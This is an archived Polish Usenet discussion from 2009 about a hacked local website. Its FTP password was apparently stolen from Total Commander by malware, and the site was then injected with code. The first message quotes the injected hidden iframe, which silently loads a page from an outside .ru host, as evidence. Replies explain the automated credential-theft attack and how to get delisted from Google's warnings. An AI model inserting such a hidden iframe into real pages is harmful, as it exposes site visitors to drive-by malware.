🚀 go-pugleaf

Marek pisze:

> Może 2 tygodnie  temu do pliku index.htm dopisało się coś takiego:

A kolega zapisywał sobie hasło do konta FTP w jakimś menedżerze plików? 
Bo jeśli tak, to prawdopodobnie coś mu je przechwyciło, znajomemu 
ostatnio tak zasyfiło stronę do tego stopnia, że znalazła się na czarnej 
liście witryn, przed wejściem na które ostrzega np. Firefox. Na 
pocieszenie, jeśli moje przypuszczenia są słuszne, to z pewnością nie 
było celowe działanie wymierzone akurat w stronę Twojego kolegi, ot po 
prostu automat. ;)

-- 
Pozdrawiam, Michał

Marek <marek.grupy@poczta.onet.pl> napisał(a):
> Kolega ma doúc poluparnŕ (widocznŕ w pierwszych 10 wynikach po podaniu w
> google nazwy miejscowoúci) stronć o tematyce lokalnej. Niee stosowaů
> ýadnych technik pozycjonowania, strona po prostu byůa w tych pierwszych
> wynikach. Strona jest w domenie republika.pl

To akurat w przedmiotowej sprawie chyba nie ma znaczenia.

> Moýe 2 tygodnie  temu do pliku index.htm dopisaůo sić coú takiego:
>
><iframe  frameborder=Ą0Ą  onload=Ąif  ( !this.src )
> {his.src=`http://dech-test.ru:8080/index.php` ;his.height=`0`
> ;his.width=`0` ; } Ľ> oshgyabonrgnhabcfwmzyeescghelzi</iframe>
>
> Wymieniů plik index.htmna wůaúciwy a ten kod sie znowu przykleiů.
>
> Jednoczeúńie miaů wirusa PWS, Win 32 / Daurso. A , "coú/ktoú ? " mu ruszalo
> myszkŕ po ekranie.

Taaa, znaczy miał u siebie pewnie niezłą "wylęgarnię".
I pewnie, podobnie jak prawie wszyscy miał w kliencie ftp zaklikane
"zapamiętaj hasło".

> Traktowaă to jako wůamanie + celowe dziaůanie ( ktoú przejŕů hasůa i
> pobawiů sić kontem ?)czy przypadkowy zbieg okolicznoúci ? Jednoczeúńie z
> pojawieniem sić tego kody w index.htm strona wyparowaůa z wyników google.
> Wpisanie do wyszukiwarki site:strona.pl daje jednŕ odpowiedę o kilku
> odwiedzinach.

Włamanie - jak najbardziej, tyle, że nie na serwer a na jego komputer -
połączone z "wyciekiem" hasła. A dalej to "legalna" - bo przy pomocy
oficjalnego loginu i hasła - modyfikacja strony.
Przy czym żadna celowa dziłalność. Ot trafiło na niego, podobnie jak
na parę(dzisięt/set) tysięcy innych. Bo takie "włamy" to robi automat.

To bardzo częsty ostatnio scenariusz. Mam takch u siebie co paranaście dni.
Najpierw wielki lament że "się włamali", w logach ftp-a poprawne logowanie,
tyle, że z egzotycznego adresu i dalej jaaaaazda po wszystkich plikach.
Oczywiście, po przyciśnięciu klienta okazuje się, że oczywiście miał
"jakiegoś wirusa".

Ot, po prostu, od jakiegoś czasu wirusy to nie jest "sztuka dla sztuki"
tylko poważny biznes "e-marketingowy".

A wniosek z tego taki, że jak ktoś jest webmasterem (w sensie, że ma
uprawnienia do modyfikowania strony), to bezpieczeństwo jego komputera
jest równie istotne jak bezpieczeństwo serwera na którym strona stoi.

-- 
WARNING: my e-mail is encrypted by ROT13
Xbaenq Fgrcvra <xbaenq@vagreqngn.arg.cy>

Dnia Thu, 12 Nov 2009 21:12:16 +0100, Michaů Dziwisz napisał(a):

> Marek pisze:
> 
>> Może 2 tygodnie  temu do pliku index.htm dopisało się coś takiego:
> 
> A kolega zapisywał sobie hasło do konta FTP w jakimś menedżerze plików? 
> Bo jeśli tak, to prawdopodobnie coś mu je przechwyciło, znajomemu 
> ostatnio tak zasyfiło stronę do tego stopnia, że znalazła się na czarnej 
> liście witryn, przed wejściem na które ostrzega np. Firefox. Na 
> pocieszenie, jeśli moje przypuszczenia są słuszne, to z pewnością nie 
> było celowe działanie wymierzone akurat w stronę Twojego kolegi, ot po 
> prostu automat. ;)
total commander :)
teraz kluczowy problem: jak odkręcić w google ?

On 12 Lis, 22:40, Marek <marek.gr...@poczta.onet.pl> wrote:
> total commander :)
> teraz kluczowy problem: jak odkręcić w google ?

Na pewno TC. Mnie też załatwili jedną stronę: jak się okazało TC
"szyfruje" hasła nie lepiej niż GG. Co do odkręcenie to pozostaje
chyba tylko napisać do ich supportu i wykazać, że strona jest
bezpieczna ;)

On 14 Lis, 22:26, art3c <bluesb...@gmail.com> wrote:
> On 12 Lis, 22:40, Marek <marek.gr...@poczta.onet.pl> wrote:
>
> > total commander :)
> > teraz kluczowy problem: jak odkręcić w google ?
>
> Na pewno TC. Mnie też załatwili jedną stronę: jak się okazało TC
> "szyfruje" hasła nie lepiej niż GG. Co do odkręcenie to pozostaje
> chyba tylko napisać do ich supportu i wykazać, że strona jest
> bezpieczna ;)


Odkręcić można w prosty sposób w ciągu kilku dni.
Należy najpierw zarejestrować się w Google, potem w centrum dla
webmasterów dopisać stronę do swojego konta. Następnie zrobić
weryfikację, przez umieszczenie specjalnego tagu w tresci strony lub
umieszczenie pliku o odpowiedniej nazwie na serwerze. Po weryfikacji
będziesz mógł zgłosić ponowne zaindeksowanie strony. Oczywiście musisz
poprawić kod na stronie.

Miałem kilkanaście takich przypadków z zainfekowaniem kilku serwerów
jednocześnie. Przyczyna tkwiła w TC. Teraz używam FileZilli i problemy
się skończyły.

Peter